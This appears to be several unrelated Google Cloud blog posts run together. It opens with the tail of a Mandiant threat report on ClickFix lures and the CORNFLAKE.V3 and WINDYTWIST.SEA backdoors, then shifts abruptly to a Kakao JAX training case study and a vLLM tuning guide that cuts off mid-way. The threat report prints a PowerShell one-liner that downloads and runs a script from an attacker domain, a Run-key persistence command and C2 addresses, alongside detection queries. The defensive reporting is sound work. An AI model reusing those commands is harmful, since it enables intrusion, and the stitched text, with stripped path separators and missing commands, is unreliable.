Following the interaction with its C2 server, a DLL payload (corresponding to command 1) was received, written to disk as C:Users<User>AppDataRoamingShift19434078G0ZrQi.png and executed using rundll32. This file was a WINDYTWIST.SEA backdoor implant configured with the following C2 servers:

tcp://167.235.235[.]151:443
tcp://128.140.120[.]188:443
tcp://177.136.225[.]135:443

This implant is a C version of the Java WINDYTWIST backdoor, which supports relaying TCP traffic, providing a reverse shell, executing commands, and deleting itself. In previous intrusions, Mandiant observed WINDYTWIST.SEA samples attempting to move laterally in the network of the infected machine.

The following process tree was observed during the infection:

explorer.exe
    ↳ C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe 
"-c irm dnsmicrosoftds-data[.]com/log/out | clip; & 
([scriptblock]::Create((Get-Clipboard) -join 
(""+[System.Environment]::NewLine)))"
       ↳ C:WINDOWSsystem32clip.exe
       ↳ C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe 
"-w H -c irm windows-msg-as[.]live/qwV1jxQ"
       ↳ C:WINDOWSsystem32systeminfo.exe
       ↳ C:Users<user>AppDataRoamingphpphp.exe "-d extension=zip 
-d extension_dir=ext C:Users<user>AppDataRoamingphpconfig.cfg 
1 {CORNFLAKE.V3}"
          ↳ cmd.exe /s /c "powershell -c 
{Multiple PS Commands for Host Reconnaissance}"
          ↳ cmd.exe /s /c "powershell -c 
{Multiple PS Commands for Host Reconnaissance}"
          ↳ cmd.exe /s /c "reg add 
HKCUSoftwareMicrosoftWindowsCurrentVersionRun 
/v "random_appdata_dirname" /t REG_SZ /d ""<php_binary_path>" 
"<script_path>"" /f"
          ↳ powershell.exe
             ↳ C:WindowsSystem32rundll32.exe 
"{WINDYTWIST.SEA Backdoor}" start

Conclusion

This investigation highlights the collaborative nature of modern cyber threats, where UNC5518 leverages compromised websites and deceptive ClickFix lures to gain initial access. This access is then utilized by other actors like UNC5774, who deploy versatile malware such as the CORNFLAKE.V3 backdoor. The subsequent reconnaissance and credential harvesting activities we observed indicate that the attackers intend to move laterally and expand their foothold in the environment.

To mitigate malware execution through ClickFix, organizations should disable the Windows Run dialog box where possible. Regular simulation exercises are crucial to counter this and other social engineering tactics. Furthermore, robust logging and monitoring systems are essential for detecting the execution of subsequent payloads, such as those associated with CORNFLAKE.V3.

Acknowledgements

Special thanks to Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis and Rommel Joven for their valuable contributions to this blog post.

Detection Through Google Security Operations

For detailed guidance on hunting for this activity using the following queries, and for a forum to engage with our security experts, please visit our companion post on the Google Cloud Community blog.

Mandiant has made the relevant rules available in the Google SecOps Mandiant Frontline Threats curated detections rule set. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Powershell Executing NodeJS

• Powershell Writing To Appdata

• Suspicious Clipboard Interaction

• NodeJS Reverse Shell Execution

• Download to the Windows Public User Directory via PowerShell

• Run Utility Spawning Suspicious Process

• WSH Startup Folder LNK Creation

• Trycloudflare Tunnel Network Connections

SecOps Hunting Queries

The following UDM queries can be used to identify potential compromises within your environment.

Execution of CORNFLAKE.V3 — Node.js 

Search for potential compromise activity where PowerShell is used to launch node.exe from %AppData% path with the -e argument, indicating direct execution of a malicious JavaScript string.

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell.exe/ nocase
target.process.file.full_path = /appdata\roaming\.*node.exe/ nocase
target.process.command_line = /"?node.exe"?s*-es*"/ nocase

Execution of CORNFLAKE.V3 — PHP

Search for compromise activity where PowerShell is executing php.exe from %AppData% path. This variant is characterized by the use of the -d argument, executing a PHP script without a .php file extension, and passing the argument 1 to the PHP interpreter, indicating covert execution of malicious PHP code.

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell.exe/ nocase
target.process.file.full_path = /appdata\roaming\.*php.exe/ nocase
target.process.command_line = /"?php.exe"?s*-ds.*1$/ nocase
target.process.command_line != /.phps*s*/ nocase

CORNFLAKE.V3 Child Process Spawns

Search suspicious process activity where cmd.exe or powershell.exe are spawned as child processes from node.exe or php.exe when those executables are located in %AppData%.

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = 
/appdata\roaming\.*node.exe|appdata\roaming\.*php.exe/ nocase 
target.process.file.full_path = /powershell.exe|cmd.exe/ nocase

Suspicious Connections to Node.js/PHP Domains

Search unusual network connections initiated by powershell.exe or mshta.exe to legitimate Node.js (nodejs.org) or PHP (windows.php.net) infrastructure domains.

metadata.event_type = "NETWORK_CONNECTION"
principal.process.file.full_path = /powershell.exe|mshta.exe/ nocase 
target.hostname = /nodejs.org|windows.php.net/ nocase

Indicators of Compromise (IOCs)

A Google Threat Intelligence (GTI) collection of IOCs is available to registered users.

Host-Based Artifacts

Network-Based Artifacts

When your messaging platform serves 49 million people – 93% of South Korea’s population – every technical decision carries enormous weight. The engineering team at Kakao faced exactly this challenge when their existing infrastructure hit critical limitations. Their solution? A strategic shift to Google Cloud TPUs using the JAX framework that not only solved their immediate scalability needs but opened new possibilities for advanced AI model development.

Kakao’s approach provides a compelling example of leveraging the high-performance array computing framework JAX for AI model development at scale. While their primary training environment was GPU-based, the team made a strategic decision to adopt the JAX stack on Google Cloud TPUs to optimize for cost and efficiency.

This work laid the groundwork for the development of their proprietary Kanana model family, and several Kanana models — including Kanana-MoE — have recently been released as open source on Hugging Face Hub.

In this post, Minho Ryu and Nayeon Kim detail Kakao’s technical journey. They cover their specific implementation details, from adapting the JAX large language model framework and MaxText for custom data pipelines to their work on mixture-of-experts (MoE) model training.

Kakao’s journey by Minho and Nayeon:

As engineers at Kakao, we develop models that serve KakaoTalk, a platform supporting services that extend far beyond text. Our rich ecosystem includes chat with over 700,000 images and stickers (emojis), voice and video calls, finance, and navigation.

KakaoTalk’s massive scale and complexity demand that our language models are not only highly efficient but also excel at understanding the Korean language and are flexible enough for diverse applications. These real-world product requirements directly influenced our technical decisions and our need for a customizable training framework.

Our journey with JAX began at an important inflection point. Our existing GPU-based infrastructure was reaching power and budget capacity constraints. We had two options: expand our GPU infrastructure and maintain our existing codebase, or adopt Cloud TPUs, which offered cost-performance advantages while requiring adoption of a new toolchain. We chose Cloud TPUs, viewing the short-term investment as worthwhile for long-term cost-performance benefits, and built our stack on JAX. 

We use XPK for Kubernetes cluster management, which simplifies job creation and management on GKE without requiring Kubernetes expertise. For the data pipeline, we adopted Grain due to its deterministic behavior, which is essential for the stability of long-running AI model training jobs.

We focused on adapting the MaxText framework to fit our specific research and compatibility needs. We made two key customizations to the pipeline:

1. Multi-source data blending: When we began exploring training with MaxText, it assumed a single, pre-mixed corpus. Our research requires blending different data sources — such as web text, code, and math — with specific, dynamically-adjusted weights during different training phases. To achieve this flexibility without reprocessing terabytes of data for each experiment, we implemented a solution using Grain’s mix function. This approach allows us to define blending ratios in our configuration, providing the adaptability essential for our iterative research process. We filed a PR for this feature to be supported in MaxText natively, and it has been incorporated here since.

2. Token Processing for Efficiency and Compatibility: To maintain compatibility with our existing Megatron-LM pipeline and improve efficiency, we modified MaxText’s token processing logic. Our data preparation method constructs each training sequence by appending the first token of the subsequent sequence. This creates overlapping, continuous sequences, ensuring that no information is lost at the boundaries and maximizing data utilization.

To validate our new TPU-based workflow, we trained two models. First, we trained the Kanana 2.1 billion parameter model from scratch, and the results demonstrated that our MaxText implementation achieved performance comparable to our existing GPU-based Megatron-LM pipeline at each stage. Second, we performed depth upscaling with continued pre-training from our existing 8B model to a 9.8B architecture. Both approaches succeeded  and showed consistent improvements across various benchmarks, confirming that the results on GPU were effectively reproduced on TPU.

Advancing our approach: Training Mixture-of-Experts (MoE) models with MaxText

With the core pipeline validated, we began experimenting with more advanced architectures, specifically MoE models, to build inference-efficient models that maintain strong performance. Our objectives were to explore upcycling an existing dense model into an MoE structure and to evaluate the suitability of the TPU and MaxText stack for this task.

For the experiment, we upcycled our 2.1B dense model into a 13.4B parameter (2.3B active) MoE architecture with 64 experts and 8 active experts per token. We trained this model on the exact same dataset as the original dense model to isolate the impact of the architectural change. The training was performed on v5e TPUs using MaxText with Fully Sharded Data Parallelism (FSDP).

The implementation process was straightforward. We found that MaxText’s flexible design, built on Flax, Optax, and Orbax, was well-suited for the wide range of ablations required for MoE research. Specifically:

• Integrated Kernels: Megablocks MoE kernels which support optimized MoE features like Group GEMM were already integrated into JAX.

• Combining Schedules: We used the optax.join_schedules function to combine multiple learning rate schedules (e.g. warmup, constant, and annealing) into a single, custom schedule for our training run. This ability to combine different schedules is very useful to experiment with different training strategies.

• Code Customization: We needed to enable the load balancing loss for our sparse matmul implementation. This required inserting a single line of code in the permute function within the MoE block of MaxText to calculate the loss directly from the router logits.

The results showed performance improvements, particularly in code and math benchmarks, suggesting domain specialization among the experts.

This met our objectives and further demonstrated the JAX stack’s utility for advanced model development. We are now extending this work by experimenting with shared experts and replacing initial MoE layers with dense layers, modifications which are simple to implement within the MaxText framework.

Performance improvements and key takeaways

During our work, we gained early access to Trillium TPUs. We managed the transition from v5e by changing a few parameters in our XPK cluster and workload configurations. We observed an immediate and substantial throughput increase of 2.7x across our models, along with improved cost-performance efficiency.

Based on our experience, the JAX stack on TPUs provides a comprehensive and efficient environment for AI model development. The key advantages for our team include:

• Performance and scalability: The JAX and XLA combination provides just-in-time compilation, and MaxText is optimized for large-scale parallel computing with support for paradigms like SPMD and FSDP.

• Customizability and control: The codebase, being pure Python and built on libraries like Flax, Optax, and Orbax is intuitive and easy to modify. This allows us to implement custom data pipelines, training strategies, and novel architectures with minimal overhead.

• Rapid feature adoption: The MaxText framework is updated quickly with features from new state-of-the-art models, allowing us to stay current with our research.

These strengths have made the JAX stack a powerful and flexible foundation for our work in training large language models at Kakao.

Build your Language Models with the JAX Ecosystem:

Kakao’s journey demonstrates how  the JAX ecosystem’s modular design — including MaxText, Flax, Optax, and Orbax — enables the customization required for both production pipelines and advanced research, from tailored data blending to rapid experimentation with MoE architectures.

Our sincere thanks to Minho, Nayeon and their team for sharing their insightful engineering work. We look forward to seeing how they and other leading enterprises worldwide continue to use the JAX ecosystem to build the next generation of powerful and efficient language models.

Additional contributors include Hossein Sarshar and Ashish Narasimham.

Large Language Models (LLMs) are revolutionizing how we interact with technology, but serving these powerful models efficiently can be a challenge. vLLM has rapidly become the primary choice for serving open source large language models at scale, but using vLLM is not a silver bullet. Teams that are serving LLMs for downstream applications have stringent latency and throughput requirements that necessitate a thorough analysis of which accelerator to run on and what configuration offers the best possible performance.

This guide provides a bottoms-up approach to determining the best accelerator for your use case and optimizing your vLLM’s configuration to achieve the best and most cost effective results possible.

Note: This guide assumes that you are familiar with GPUs, TPUs, vLLM, and the underlying features that make it such an effective serving framework.

Prerequisites

Before we begin, ensure you have:

• A Google Cloud Project with billing enabled.

• The gcloud command-line tool installed and authenticated.

• Basic familiarity with Linux commands and Docker.

• Hugging Face account, a read token and access to the Gemma 3 27B model.

Gathering Information on Your Use Case

Choosing the right accelerator can feel like an intimidating process because each inference use case is unique. There is no a priori ideal set up from a cost/performance perspective; we can’t say model X should always be run on accelerator Y.

The following considerations need to be taken into account to best determine how to proceed:

What model are you using?

Our example model is google/gemma-3-27b-it. This is a 27-billion parameter instruction-tuned model from Google’s Gemma 3 family.

What is the precision of the model you’re using?

We will use bfloat16 (BF16).

Note: Model precision determines the number of bytes used to store each model weight. Common options are float32 (4 bytes), float16 (2 bytes), and bfloat16 (2 bytes). Many models are now also available in quantized formats like 8-bit, 4-bit (e.g., GPTQ, AWQ), or even lower. Lower precision reduces memory requirements and can increase speed, but may come with a slight trade-off in accuracy.

Workload characteristics: How many requests/second are you expecting?

We are targeting support for 100 requests/second.

What is the average sequence length per request?

• Input Length: 1500 tokens
• Output Length: 200 tokens
• The total sequence length per request is therefore 1500 + 200 = 1700 tokens on average.

What is the maximum total sequence length we will need to be able to handle?

Let’s say in this case it is 2000 total tokens

What is the GPU Utilization you’ll be using?

The gpu_memory_utilization parameter in vLLM controls how much of the GPU’s VRAM is pre-allocated for the KV cache (given the allocated memory for the model weights). By default, this is 90% in vLLM, but we generally want to set this as high as possible to optimize performance without causing OOM issues – which is how our auto_tune.sh script works (as described in the “Benchmarking, Tuning and Finalizing Your vLLM Configuration” section of this post).

What is your prefix cache rate?

This will be determined from application logs, but we’ll estimate 50% for our calculations.

Note: Prefix caching is a powerful vLLM optimization that reuses the computed KV cache for shared prefixes across different requests. For example, if many requests share the same lengthy system prompt, the KV cache for that prompt is calculated once and shared, saving significant computation and memory. The hit rate is highly application-specific. You can estimate it by analyzing your request logs for common instruction patterns or system prompts.

What is your latency requirement?

The end-to-end latency from request to final token should not exceed 10 seconds (P99 E2E). This is our primary performance constraint.

Selecting Accelerators (GPU/TPU)

We live in a world of resource scarcity! What does this mean for your use case? It means that of course you could probably get the best possible latency and throughput by using the most up to date hardware – but as an engineer it makes no sense to do this when you can achieve your requirements at a better price/performance point.

Identifying Candidate Accelerators

We can refer to our Accelerator-Optimized Machine Family of Google Cloud Instances to determine which GPUs are viable candidates.

We can refer to our Cloud TPU offerings to determine which TPUs are viable candidates.

The following are examples of accelerators that can be used for our workloads, as we will see in the following Calculate Memory Requirements section.

The following options have different Tensor Parallelism (TP) configurations required depending on the total VRAM. Please see the next section for an explanation of Tensor Parallelism.

GPU Options

• L4 GPUs

• g2-standard-48 instance provides 4xL4 GPUs with 96 GB of GDDR6

• TP = 4

• a2-ultragpu-1g instance provides 1xA100 80GB GPU of HBM

• TP = 1

• a3-highgpu-1g instances provides 1xH100 80GB GPU of HBM

• TP = 1

TPU Options

• TPU v5e (16 GB of HBM per chip)

• v5litepod-8 provides 8 v5e TPU chips with 128GB of total HBM

• TP = 8

• v6e-4 provides 4 v6e TPU chips with 128GB of total HBM

• TP = 4

Calculate Memory Requirements

We must estimate the total minimum VRAM needed. This will tell us if the model can fit on a single accelerator or if we need to use parallelism. Memory utilization can be broken down into two main components: static memory from our model weights, activations, and overhead & the KV Cache memory.

The following tool was created to answer this question: Colab: HBM Calculator 

You can enter the information we determined above to estimate the minimum required VRAM to run our model.

• Hugging Face API Key

• Model Name from Hugging Face

• Number of Active Parameters (billions)

• The average input and output length (in tokens) for your workload.

• A batch size of 1

The calculation itself is generally out of scope for this discussion, but it can be determined from the following equation: 

Required GPU/TPU memory = [(model_weight + non_torch_memory + pytorch_activation_peak_memory) + (kv_cache_memory_per_batch * batch_size)] ,

where

• model_weight is equal to the number of parameters x a constant depending on parameter data type/precision

• non_torch_memory is a buffer for memory overhead (estimated ~1GB)

• pytorch_activation_peak_memory is the memory required for intermediate activations

• kv_cache_memory_per_batch is the memory required for the KV cache per batch

• batch_size is the number of sequences that will be processed simultaneously by the engine

• A batch size of one is not a realistic value, but it does provide us with the minimum VRAM we will need for the engine to get off the ground. You can vary this parameter in the calculator to see just how much VRAM we will need to support our larger batch sizes of 128 – 512 sequences.

In our case, we find that we need a minimum of ~57 GB of VRAM to run gemma-3-27b-it on vLLM for our specific workload.

Is Tensor Parallelism Required?

In this case, the answer is that parallelism is not necessarily required, but we could and should consider our options from a price/performance perspective. Why does it matter?

Very quickly – what is Tensor Parallelism? At the highest level, Tensor Parallelism is a method of breaking apart a large model across multiple accelerators (GPU/TPU) so that the model can actually fit on the hardware we need. See here for more information.

vLLM supports Tensor Parallelism (TP). With tensor parallelism, accelerators must constantly communicate and synchronize with each other over the network for the model to work. This inter-accelerator communication can add overhead, which has a negative impact on latency. This means we have a tradeoff between cost and latency in our case.

Note: Tensor parallelism is required for TPU’s because of the particular size of this model. v5e and v6e have 16 GB and 32 GB of HBM respectively and mentioned above, so multiple chips are required to support the model size. In this guide, v6e-4 does pay a slight performance penalty for this communication overhead while our 1xH100 instance will not.

Benchmarking, Tuning and Finalizing Your vLLM Configuration

Now that you have your short list of accelerator candidates (4xL4, 1xA100-80GB, 1xH100-80GB, TPU v5e-8, TPU v6e-4), it is time to see the best level of performance we can across each potential setup. We will only overview the H100 and Trillium (v6e) benchmarking & tuning in this section – but the process would be nearly identical for the other accelerators:

• Launch, SSH, Update VMs

• Pull vLLM Docker Image

• Update and Launch Auto Tune Script

• Analyze Results

H100 80GB

In your project, open the Cloud Shell and enter the following command to launch an a3-highgpu-1g instance. Be sure to update your project ID accordingly and select a zone that supports the a3-highgpu-1g machine type for which you have quota.

SSH into the instance.

Now that we’re in our running instance, we can go ahead and pull the latest vLLM Docker image and then run it interactively. A final detail – if we are using a gated model (and we are in this demo) we will need to provide our HF_TOKEN in the container:

In our running container, we can now find a file called vllm-workspace/benchmarks/auto_tune/auto_tune.sh which we will need to update with the information we determined above to tune our vLLM configuration for the best possible throughput and latency.

In the auto_tune.sh script, you will need to make the following updates:

• Specify the model we will be using.

• Specify that we are leveraging GPU in this case.

• Tensor Parallelism is set to 1.

• Specify our inputs and outputs.

• Specify our 50% min_cache_hit_pct.

• Specify our latency requirement.

• Update our num_seqs_list to reflect a range of common values for high performance.

• Update num_batched_tokens_list if necessary

• Likely will not be necessary, but if a use case is particularly small or particularly large inputs/outputs

Once the parameters have been updated, launch the auto_tune.sh script

The following processes occur:

• Our auto_tune.sh script downloads the required model and attempts to start a vLLM server at the highest possible gpu_utilization (0.98 by default). If a CUDA OOM occurs, we go down 1% until we find a stable configuration.

  • Troubleshooting Note: In rare cases, a vLLM server may be able to start during the initial gpu_utilization test but then fail due to CUDA OOM at the start of the next benchmark. Alternatively, the initial test may fail and then not spawn a follow up server resulting in what appears to be a hang.  If either happens, edit the auto_tune.sh near the very end of the file so that gpu_utilization begins at 0.95 or a lower value rather than beginning at 0.98.
  • Troubleshooting Note: By default, profiling is currently being passed to the benchmarking_server.py script. In some cases this may cause the process to hang if the GPU profiler is not capable of handling the large number of requests for that specific model. You can confirm this by reviewing the logs for the current run; if the logs include the following line with an indefinite hang afterwards, you’ve run into this problem:

• • If that is the case, simply remove the –profile flag from the benchmarking_server.py calls in the auto_tune.sh script under the run_benchmark() function:

• Then, for each permutation of num_seqs_list and num_batched_tokens, a server is spun up and our workload is simulated.

  • A benchmark is first run with an infinite request rate.

  • If the resulting P99 E2E Latency is within the MAX_LATENCY_ALLOWED_MS limit, this throughput is considered the maximum for this configuration.

  • If the latency is too high, the script performs a search by iteratively decreasing the request rate until the latency constraint is met. This finds the highest sustainable throughput for the given parameters and latency requirement.

• In our results.txt file at /vllm-workspace/auto-benchmark/$TAG/result.txt, we will find which combination of parameters is most efficient, and then we can take a closer look at that run:

Let’s look at the best-performing result to understand our position:

• max_num_seqs: 256, max_num_batched_tokens: 512

• These were the settings for the vLLM server during this specific test run.

• This is the final input from the script’s loop. It means your script determined that sending 6 requests per second was the highest rate this server configuration could handle while keeping latency below 10,000 ms. If it tried 7 req/s, the latency was too high.

• This is the P99 latency that was measured when the server was being hit with 6 req/s. Since 7612.31 is less than 10000, the script accepted this as a successful run.

• This is the actual, measured output. Even though you were sending requests at a rate of 6 per second, the server could only successfully process them at a rate of 4.17 per second.

TPU v6e (aka Trillium)

Let’s do the same optimization process for TPU now. You will find that vLLM has a robust ecosystem for supporting TPU-based inference and that there is little difference between how we execute our benchmarking script for GPU and TPU.

First we’ll need to launch and configure networking for our TPU instance – in this case we can use Queued Resources. Back in our Cloud Shell, use the following command to deploy a v6e-4 instance. Be sure to select a zone where v6e is available.

To monitor the status of your request:

Wait for the TPU VM to become active (status will update from PROVISIONING to ACTIVE). This might take some time depending on resource availability in the selected zone.

SSH directly into the instance with the following command:

Now that we’re in, pull the vLLM-TPU Docker image, launch our container, and exec into the container:

Again, we will need to install a dependency, provide our HF_TOKEN  and update our auto-tune script as we did above with the H100.

We will want to make the following updates to the vllm/benchmarks/auto_tune.sh file:

And then execute:

As our auto_tune.sh executes we determine the largest possible gpu_utilization value our server can run on and then cycle through the different num_batched_tokens parameters to determine which is most efficient. 

• Troubleshooting Note: It can take a longer amount of time to start up a vLLM engine on TPU compared to GPU due to a series of compilation steps that are required. In some cases, this can go longer than 10 minutes – and when that occurs the auto_tune.sh script may kill the process. If this happens, update the start_server() function such that the for loop sleeps for 30 seconds rather than 10 seconds as shown here:

The outputs are printed as our program executes and we can also find them in log files at $BASE/auto-benchmark/TAG. We can see in these logs that our current configurations are still able to achieve our latency requirements.

Again we can observe our results.txt file:

And the corresponding metrics for our best run:

Let’s look at the best-performing result to understand our position:

• max_num_seqs: 256, max_num_batched_tokens: 512

• These were the settings for the vLLM server during this specific test run.

• This is the final input from the script’s loop. It means your script determined that sending 9 requests per second was the highest rate this server configuration could handle while keeping latency below 10,000 ms. If it tried 10 req/s, the latency was too high.

• This is the P99 latency that was measured when the server was being hit with 9 req/s. Since 8423.40 is less than 10,000, the script accepted this as a successful run.

• This is the actual, measured output. Even though you were sending requests at a rate of 9 per second, the server could only successfully process them at a rate of 5.63 per second.

Calculating Performance-Cost Ratio

Now that we have tuned and benchmarked our two primary accelerator candidates, we can bring the data together to make a final, cost-based decision. The goal is to find the most economical configuration that can meet our workload requirement of 100 requests per second while staying under our P99 end-to-end latency limit of 10,000 ms.

We will analyze the cost to meet our 100 req/s target using the best-performing configuration for both the H100 GPU and the TPU v6e.

NVIDIA H100 x 80GB (a3-highgpu-1g)

• Measured Throughput: The benchmark showed a single H100 vLLM engine achieved a throughput of 4.17 req/s.

• Instances Required: To meet our 100 req/s goal, we would need to run multiple instances. The calculation is:

• Target Throughput / Throughput Per Instance ​= 100 req/s ÷ 4.17 req/s ​≈ 23.98

• Since we can’t provision a fraction of an instance, we must round up to 24 instances.

• Note: We are choosing Spot instance pricing for the simple cost figures, this would not be a typical provisioning pattern for this type of workload.

Google Cloud TPU v6e (v6e-4)

• Measured Throughput: The benchmark showed a single v6e-4 vLLM engine achieved a higher throughput of 5.63 req/s.

• Instances Required: We perform the same calculation for the TPU cluster:

• Target Throughput ÷ Throughput per Instance ​= 100 req/s ÷ 5.63 req/s ​≈ 17.76

• Again, we must round up to 18 instances to strictly meet the 100 req/s requirement.

•  18 instances × 4 chips x $0.56/hr = $40.32/hr

Conclusion: The Most Cost-Effective Choice

Let’s summarize our findings in a table to make the comparison clear.